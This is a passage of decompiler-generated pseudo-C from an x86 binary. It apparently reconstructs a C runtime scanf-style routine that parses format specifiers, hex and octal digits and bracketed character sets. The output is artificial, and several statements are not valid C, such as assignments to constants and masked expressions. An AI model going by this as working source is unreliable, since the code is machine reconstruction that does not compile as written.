																		if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																			goto L27;
																		}
																		L26:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *(__ecx + 1) & 0x000000ff;
																		__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																		if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																			__edx = 0;
																			__eflags = 0;
																			if(0 != 0) {
																				__eax =  *(__ebp - 0x30);
																				__eax =  *(__ebp - 0x30) + 1;
																				__eflags = __eax;
																				 *(__ebp - 0x30) = __eax;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																			}
																			goto L39;
																		}
																		goto L27;
																	}
																	L20:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *(__edx + 2) & 0x000000ff;
																	__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																	if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																		goto L22;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		goto L40;
																	}
																}
																L17:
																__edx =  *(__ebp + 0xc);
																__eax =  *(__edx + 2) & 0x000000ff;
																__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																	goto L19;
																} else {
																	__ecx =  *(__ebp + 0xc);
																	__ecx =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) = __ecx;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x200) = 0;
																	 *(__ebp - 0x1fc) = 0;
																	goto L40;
																}
															case 3:
																L33:
																__cl =  *(__ebp - 0x1d);
																__cl =  *(__ebp - 0x1d) + 1;
																 *(__ebp - 0x1d) = __cl;
																goto L40;
															case 4:
																L15:
																__cl =  *(__ebp - 0x1d);
																__cl =  *(__ebp - 0x1d) - 1;
																 *(__ebp - 0x1d) = __cl;
																 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																goto L40;
															case 5:
																L34:
																__edx =  *(__ebp + 0xc);
																__eax =  *(__edx + 1) & 0x000000ff;
																__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																	__al =  *(__ebp - 0x1d);
																	__al =  *(__ebp - 0x1d) + 1;
																	__eflags = __al;
																	 *(__ebp - 0x1d) = __al;
																	goto L37;
																} else {
																	__ecx =  *(__ebp + 0xc);
																	__ecx =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) = __ecx;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																	 *(__ebp - 0x200) = 0;
																	 *(__ebp - 0x1fc) = 0;
																	goto L40;
																}
															case 6:
																L37:
																__cl =  *(__ebp - 0x215);
																__cl =  *(__ebp - 0x215) + 1;
																 *(__ebp - 0x215) = __cl;
																goto L40;
															case 7:
																goto L39;
														}
													} else {
														 *(_t1282 - 0x1f0) =  *(_t1282 - 0x1f0) + 1;
														 *(_t1282 - 0x78) =  *(_t1282 - 0x44) + ( *(_t1282 - 0x78) +  *(_t1282 - 0x78) * 4) * 2 - 0x30;
														L40:
														continue;
													}
												}
												L41:
												if( *((char*)(_t1282 - 0x12)) != 0) {
													 *(_t1282 - 0x7c) = 0;
												} else {
													 *((intOrPtr*)(_t1282 - 0x1c)) =  *((intOrPtr*)(_t1282 + 0x14));
													 *((intOrPtr*)(_t1282 + 0x14)) =  *((intOrPtr*)(_t1282 + 0x14)) + 4;
													 *(_t1282 - 0x7c) =  *( *((intOrPtr*)(_t1282 + 0x14)) - 4);
												}
												 *(_t1282 - 0x1e) = 0;
												if( *(_t1282 - 0x215) != 0) {
													L49:
													_t1170 =  *( *(_t1282 + 0xc)) & 0x000000ff | 0x00000020;
													 *(_t1282 - 0x44) =  *( *(_t1282 + 0xc)) & 0x000000ff | 0x00000020;
													if( *(_t1282 - 0x44) == 0x6e) {
														L54:
														if( *(_t1282 - 0x44) == 0x6e) {
															L57:
															if( *(_t1282 - 0x1f0) == 0) {
																L59:
																if( *((char*)(_t1282 - 0x12)) != 0) {
																	L68:
																	 *(_t1282 - 0x260) =  *(_t1282 - 0x44);
																	 *(_t1282 - 0x260) =  *(_t1282 - 0x260) - 0x63;
																	if( *(_t1282 - 0x260) > 0x18) {
																		L313:
																		if(( *( *(_t1282 + 0xc)) & 0x000000ff) ==  *(_t1282 - 0x21c)) {
																			L315:
																			_t1190 =  *(_t1282 - 0x1e9) - 1;
																			 *(_t1282 - 0x1e9) = _t1190;
																			if( *((char*)(_t1282 - 0x12)) == 0) {
																				 *((intOrPtr*)(_t1282 + 0x14)) =  *((intOrPtr*)(_t1282 - 0x1c));
																			}
																			while(1) {
																				L318:
																				 *(_t1282 - 0x1e9) =  *(_t1282 - 0x1e9) + 1;
																				 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
																				goto L330;
																			}
																		}
																		L314:
																		_t1170 =  *(_t1282 - 0xc) - 1;
																		 *(_t1282 - 0xc) =  *(_t1282 - 0xc) - 1;
																		E0041CFD0( *(_t1282 - 0x21c),  *(_t1282 + 8));
																		_t1284 = _t1284 + 8;
																		 *(_t1282 - 0x24) = 1;
																		goto L335;
																	}
																	L69:
																	_t186 =  *(_t1282 - 0x260) + 0x41ce08; // 0xcccccc08
																	switch( *((intOrPtr*)(( *_t186 & 0x000000ff) * 4 +  &M0041CDE0))) {
																		case 0:
																			L70:
																			__eflags =  *(_t1282 - 0x1f0);
																			if( *(_t1282 - 0x1f0) == 0) {
																				 *(_t1282 - 0x1f0) =  *(_t1282 - 0x1f0) + 1;
																				_t1230 =  *(_t1282 - 0x78) + 1;
																				__eflags = _t1230;
																				 *(_t1282 - 0x78) = _t1230;
																			}
																			L72:
																			__eflags =  *(_t1282 - 0x215);
																			if( *(_t1282 - 0x215) > 0) {
																				_t1105 =  *(_t1282 - 0x29) + 1;
																				__eflags = _t1105;
																				 *(_t1282 - 0x29) = _t1105;
																			}
																			L74:
																			goto L104;
																		case 1:
																			L192:
																			__eflags =  *(__ebp - 0x21c) - 0x2d;
																			if( *(__ebp - 0x21c) != 0x2d) {
																				L194:
																				__eflags =  *(__ebp - 0x21c) - 0x2b;
																				if( *(__ebp - 0x21c) != 0x2b) {
																					goto L199;
																				}
																				L195:
																				__ecx =  *(__ebp - 0x78);
																				__ecx =  *(__ebp - 0x78) - 1;
																				__eflags = __ecx;
																				 *(__ebp - 0x78) = __ecx;
																				if(__ecx != 0) {
																					L198:
																					__eax =  *(__ebp - 0xc);
																					__eax =  *(__ebp - 0xc) + 1;
																					__eflags = __eax;
																					 *(__ebp - 0xc) = __eax;
																					__ecx =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																					goto L199;
																				}
																				L196:
																				__eflags =  *(__ebp - 0x1f0);
																				if( *(__ebp - 0x1f0) == 0) {
																					goto L198;
																				}
																				L197:
																				 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																				 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																				goto L199;
																			}
																			L193:
																			__al =  *(__ebp - 2);
																			__al =  *(__ebp - 2) + 1;
																			 *(__ebp - 2) = __al;
																			goto L195;
																		case 2:
																			goto L0;
																		case 3:
																			L169:
																			 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																			goto L170;
																		case 4:
																			L266:
																			__eax =  *(__ebp - 0xc);
																			 *(__ebp - 0x220) =  *(__ebp - 0xc);
																			__ecx =  *((char*)(__ebp - 0x12));
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				L268:
																				L318:
																				 *(_t1282 - 0x1e9) =  *(_t1282 - 0x1e9) + 1;
																				 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
																				goto L330;
																			}
																			L267:
																			goto L258;
																		case 5:
																			L191:
																			 *(__ebp - 0x1d) = 1;
																			goto L192;
																		case 6:
																			L75:
																			__edx =  *(__ebp - 0x215);
																			__eflags =  *(__ebp - 0x215);
																			if( *(__ebp - 0x215) > 0) {
																				__al =  *(__ebp - 0x29);
																				__al =  *(__ebp - 0x29) + 1;
																				__eflags = __al;
																				 *(__ebp - 0x29) = __al;
																			}
																			L77:
																			goto L104;
																		case 7:
																			L170:
																			__eflags =  *(__ebp - 0x21c) - 0x2d;
																			if( *(__ebp - 0x21c) != 0x2d) {
																				L172:
																				__eflags =  *(__ebp - 0x21c) - 0x2b;
																				if( *(__ebp - 0x21c) != 0x2b) {
																					L177:
																					__eflags =  *(__ebp - 0x21c) - 0x30;
																					if( *(__ebp - 0x21c) != 0x30) {
																						L190:
																						L199:
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							while(1) {
																								L227:
																								__eax =  *(__ebp - 0x1e);
																								__eflags =  *(__ebp - 0x1e);
																								if( *(__ebp - 0x1e) != 0) {
																									break;
																								}
																								L228:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																									L230:
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										__cl =  *(__ebp - 0x1e);
																										__cl =  *(__ebp - 0x1e) + 1;
																										__eflags = __cl;
																										 *(__ebp - 0x1e) = __cl;
																									} else {
																										 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																										 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										 *(__ebp - 0x21c) = E0041CF30(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																									}
																									L243:
																									__eax =  *(__ebp - 0x1e);
																									__eflags =  *(__ebp - 0x1e);
																									if( *(__ebp - 0x1e) != 0) {
																										L249:
																										__eax =  *(__ebp - 0xc);
																										__eax =  *(__ebp - 0xc) - 1;
																										__eflags = __eax;
																										 *(__ebp - 0xc) = __eax;
																										__ecx =  *(__ebp + 8);
																										__edx =  *(__ebp - 0x21c);
																										__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																										L250:
																										continue;
																									}
																									L244:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									__edx =  *(__ebp - 0x21c);
																									__eax =  *(__ebp - 0x220);
																									__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																									 *(__ebp - 0x220) = __ecx;
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) == 0) {
																										L247:
																										__ecx =  *(__ebp - 0xc);
																										__ecx =  *(__ebp - 0xc) + 1;
																										__eflags = __ecx;
																										 *(__ebp - 0xc) = __ecx;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																										L248:
																										goto L250;
																									}
																									L245:
																									__edx =  *(__ebp - 0x78);
																									__edx =  *(__ebp - 0x78) - 1;
																									__eflags = __edx;
																									 *(__ebp - 0x78) = __edx;
																									if(__edx != 0) {
																										goto L247;
																									}
																									L246:
																									__al =  *(__ebp - 0x1e);
																									__al =  *(__ebp - 0x1e) + 1;
																									 *(__ebp - 0x1e) = __al;
																									goto L248;
																								}
																								L229:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																								if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																									L234:
																									__edx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										__dl =  *(__ebp - 0x1e);
																										__dl =  *(__ebp - 0x1e) + 1;
																										__eflags = __dl;
																										 *(__ebp - 0x1e) = __dl;
																									} else {
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																											__edx =  *(__ebp - 0x220);
																											__eax =  *(__ebp - 0x220);
																											__ecx = __eax + __edx * 4;
																											__ecx = __eax + __edx * 4 << 1;
																											__eflags = __ecx;
																											 *(__ebp - 0x220) = __ecx;
																										} else {
																											__eflags =  *(__ebp - 0x21c) - 0x38;
																											if( *(__ebp - 0x21c) >= 0x38) {
																												__cl =  *(__ebp - 0x1e);
																												__cl =  *(__ebp - 0x1e) + 1;
																												__eflags = __cl;
																												 *(__ebp - 0x1e) = __cl;
																											} else {
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																											}
																										}
																									}
																									goto L243;
																								}
																								goto L230;
																							}
																							L251:
																							__eax =  *(__ebp - 2);
																							__eflags =  *(__ebp - 2);
																							if( *(__ebp - 2) != 0) {
																								__ecx =  *(__ebp - 0x220);
																								__ecx =  ~( *(__ebp - 0x220));
																								 *(__ebp - 0x220) = __ecx;
																							}
																							L253:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																								 *(__ebp - 0x1f4) = 0;
																							}
																							__eflags =  *(__ebp - 0x1f4);
																							if( *(__ebp - 0x1f4) == 0) {
																								L264:
																								goto L335;
																							} else {
																								L256:
																								__edx =  *((char*)(__ebp - 0x12));
																								__eflags =  *((char*)(__ebp - 0x12));
																								if( *((char*)(__ebp - 0x12)) != 0) {
																									L263:
																									while(1) {
																										L318:
																										 *(_t1282 - 0x1e9) =  *(_t1282 - 0x1e9) + 1;
																										 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
																										goto L330;
																									}
																								}
																								L257:
																								__eax =  *(__ebp - 8);
																								__eax =  *(__ebp - 8) + 1;
																								__eflags = __eax;
																								 *(__ebp - 8) = __eax;
																								L258:
																								__eflags =  *(__ebp - 0x30);
																								if( *(__ebp - 0x30) == 0) {
																									__ecx =  *(__ebp - 0x1d);
																									__eflags = __ecx;
																									if(__ecx == 0) {
																										__ecx =  *(__ebp - 0x7c);
																										 *__ecx =  *(__ebp - 0x220);
																									} else {
																										__edx =  *(__ebp - 0x7c);
																										__eax =  *(__ebp - 0x220);
																										 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																									}
																								} else {
																									__ecx =  *(__ebp - 0x7c);
																									__edx =  *(__ebp - 0x200);
																									 *__ecx =  *(__ebp - 0x200);
																									__eax =  *(__ebp - 0x1fc);
																									 *(__ecx + 4) =  *(__ebp - 0x1fc);
																								}
																								goto L263;
																							}
																						} else {
																							goto L200;
																						}
																						while(1) {
																							L200:
																							__edx =  *(__ebp - 0x1e);
																							__eflags = __edx;
																							if(__edx != 0) {
																								break;
																							}
																							L201:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																								L203:
																								__eax =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								} else {
																									__eax =  *(__ebp - 0x200);
																									__edx =  *(__ebp - 0x1fc);
																									__cl = 4;
																									 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																									 *(__ebp - 0x1fc) = __edx;
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									 *(__ebp - 0x21c) = E0041CF30( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																								}
																								L216:
																								__eax =  *(__ebp - 0x1e);
																								__eflags =  *(__ebp - 0x1e);
																								if( *(__ebp - 0x1e) != 0) {
																									L222:
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) - 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									__edx =  *(__ebp - 0x21c);
																									__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																									L223:
																									continue;
																								}
																								L217:
																								__ecx =  *(__ebp - 0x1f4);
																								__ecx =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) = __ecx;
																								 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
																								asm("cdq");
																								__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																								asm("adc edx, [ebp-0x1fc]");
																								 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																								 *(__ebp - 0x1fc) = __edx;
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									L220:
																									__ecx =  *(__ebp - 0xc);
																									__ecx =  *(__ebp - 0xc) + 1;
																									__eflags = __ecx;
																									 *(__ebp - 0xc) = __ecx;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																									L221:
																									goto L223;
																								}
																								L218:
																								__edx =  *(__ebp - 0x78);
																								__edx =  *(__ebp - 0x78) - 1;
																								__eflags = __edx;
																								 *(__ebp - 0x78) = __edx;
																								if(__edx != 0) {
																									goto L220;
																								}
																								L219:
																								__al =  *(__ebp - 0x1e);
																								__al =  *(__ebp - 0x1e) + 1;
																								 *(__ebp - 0x1e) = __al;
																								goto L221;
																							}
																							L202:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																							if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																								L207:
																								__eax =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								} else {
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																									if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																										__eax =  *(__ebp - 0x200);
																										__edx =  *(__ebp - 0x1fc);
																										__cl = 2;
																										__eax = E00425520( *(__ebp - 0x200), __ecx, __edx);
																										__eax = __eax +  *(__ebp - 0x200);
																										__eflags = __eax;
																										asm("adc edx, [ebp-0x1fc]");
																										__cl = 1;
																										 *(__ebp - 0x200) = __eax;
																										 *(__ebp - 0x1fc) = __edx;
																									} else {
																										__eflags =  *(__ebp - 0x21c) - 0x38;
																										if( *(__ebp - 0x21c) >= 0x38) {
																											__cl =  *(__ebp - 0x1e);
																											__cl =  *(__ebp - 0x1e) + 1;
																											__eflags = __cl;
																											 *(__ebp - 0x1e) = __cl;
																										} else {
																											__eax =  *(__ebp - 0x200);
																											__edx =  *(__ebp - 0x1fc);
																											__cl = 3;
																											 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																											 *(__ebp - 0x1fc) = __edx;
																										}
																									}
																								}
																								goto L216;
																							}
																							goto L203;
																						}
																						L224:
																						__eax =  *(__ebp - 2);
																						__eflags =  *(__ebp - 2);
																						if( *(__ebp - 2) != 0) {
																							__ecx =  *(__ebp - 0x200);
																							__ecx =  ~( *(__ebp - 0x200));
																							__edx =  *(__ebp - 0x1fc);
																							asm("adc edx, 0x0");
																							__edx =  ~( *(__ebp - 0x1fc));
																							 *(__ebp - 0x200) = __ecx;
																							 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																						}
																						goto L253;
																					}
																					L178:
																					 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																					 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																					__edx =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																					__eax =  *(__ebp - 0x21c);
																					__eflags =  *(__ebp - 0x21c) - 0x78;
																					if( *(__ebp - 0x21c) == 0x78) {
																						L180:
																						 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																						 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																						__eax =  *(__ebp + 8);
																						 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) != 0) {
																							__ecx =  *(__ebp - 0x78);
																							__ecx =  *(__ebp - 0x78) - 2;
																							 *(__ebp - 0x78) = __ecx;
																							__eflags =  *(__ebp - 0x78) - 1;
																							if( *(__ebp - 0x78) < 1) {
																								__dl =  *(__ebp - 0x1e);
																								__dl =  *(__ebp - 0x1e) + 1;
																								__eflags = __dl;
																								 *(__ebp - 0x1e) = __dl;
																							}
																						}
																						 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																						goto L190;
																					}
																					L179:
																					__ecx =  *(__ebp - 0x21c);
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						L184:
																						 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																						 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																						__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																						if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																							__eax =  *(__ebp - 0xc);
																							__eax =  *(__ebp - 0xc) - 1;
																							__eflags = __eax;
																							 *(__ebp - 0xc) = __eax;
																							__ecx =  *(__ebp + 8);
																							__edx =  *(__ebp - 0x21c);
																							__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																							 *(__ebp - 0x21c) = 0x30;
																						} else {
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) != 0) {
																								__ecx =  *(__ebp - 0x78);
																								__ecx =  *(__ebp - 0x78) - 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x78) = __ecx;
																								if(__ecx == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								}
																							}
																							 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																						}
																						goto L190;
																					}
																					goto L180;
																				}
																				L173:
																				__eax =  *(__ebp - 0x78);
																				__eax =  *(__ebp - 0x78) - 1;
																				__eflags = __eax;
																				 *(__ebp - 0x78) = __eax;
																				if(__eax != 0) {
																					L176:
																					__edx =  *(__ebp - 0xc);
																					__edx =  *(__ebp - 0xc) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0xc) = __edx;
																					__eax =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																					goto L177;
																				}
																				L174:
																				__eflags =  *(__ebp - 0x1f0);
																				if( *(__ebp - 0x1f0) == 0) {
																					goto L176;
																				}
																				L175:
																				__cl =  *(__ebp - 0x1e);
																				__cl =  *(__ebp - 0x1e) + 1;
																				 *(__ebp - 0x1e) = __cl;
																				goto L177;
																			}
																			L171:
																			 *(__ebp - 2) =  *(__ebp - 2) + 1;
																			 *(__ebp - 2) =  *(__ebp - 2) + 1;
																			goto L173;
																		case 8:
																			L78:
																			__ecx =  *(__ebp - 0x215);
																			__eflags =  *(__ebp - 0x215);
																			if( *(__ebp - 0x215) > 0) {
																				__dl =  *(__ebp - 0x29);
																				__dl =  *(__ebp - 0x29) + 1;
																				__eflags = __dl;
																				 *(__ebp - 0x29) = __dl;
																			}
																			L80:
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			__ecx =  *(__ebp + 0xc);
																			 *(__ebp - 0x38) =  *(__ebp + 0xc);
																			__edx =  *(__ebp - 0x38);
																			__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																			__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																			if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				__dl =  *(__ebp - 3);
																				__dl =  *(__ebp - 3) - 1;
																				__eflags = __dl;
																				 *(__ebp - 3) = __dl;
																			}
																			 *(__ebp - 0x4c) = E00422580( *(__ebp - 0x4c), 0, 0x20);
																			__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																			if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																				__ecx =  *(__ebp - 0x38);
																				__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																					 *(__ebp - 0x7d) = 0x5d;
																					__eax =  *(__ebp - 0x38);
																					__eax =  *(__ebp - 0x38) + 1;
																					__eflags = __eax;
																					 *(__ebp - 0x38) = __eax;
																					__ecx =  *(__ebp - 0x4c);
																					 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																				}
																			}
																			while(1) {
																				L85:
																				__edx =  *(__ebp - 0x38);
																				__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																					break;
																				}
																				L86:
																				__ecx =  *(__ebp - 0x38);
																				__dl =  *( *(__ebp - 0x38));
																				 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																				__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																				if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																					L89:
																					__dl =  *(__ebp - 0x7e);
																					 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																					 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																					 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																					1 = 1 << __cl;
																					__ecx =  *(__ebp - 0x4c);
																					 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																					 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																					__edx =  *(__ebp - 0x4c);
																					 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																					L98:
																					_t270 = __ebx - 0x49f037bb;
																					 *_t270 =  *(__ebx - 0x49f037bb) - 1;
																					__eflags =  *_t270;
																					continue;
																				}
																				L87:
																				__edx =  *(__ebp - 0x7d) & 0x000000ff;
																				__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																				if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																					goto L89;
																				}
																				L88:
																				__eax =  *(__ebp - 0x38);
																				__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																					L90:
																					__eax =  *(__ebp - 0x38);
																					__cl =  *( *(__ebp - 0x38));
																					 *(__ebp - 0x7e) = __cl;
																					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																					__eax =  *(__ebp - 0x7d) & 0x000000ff;
																					__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																					__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																					if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																						__al =  *(__ebp - 0x7d);
																						 *(__ebp - 0x11) = __al;
																						__cl =  *(__ebp - 0x7e);
																						 *(__ebp - 0x7d) = __cl;
																					} else {
																						__dl =  *(__ebp - 0x7e);
																						 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																					}
																					__dl =  *(__ebp - 0x7d);
																					 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																					while(1) {
																						L95:
																						__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																						__edx =  *(__ebp - 0x11) & 0x000000ff;
																						__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																						if(( *(__ebp - 0x7e) & 0x000000ff) >= ( *(__ebp - 0x11) & 0x000000ff)) {
																							break;
																						}
																						L96:
																						 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																						 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																						1 = 1 << __cl;
																						__ecx =  *(__ebp - 0x4c);
																						 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
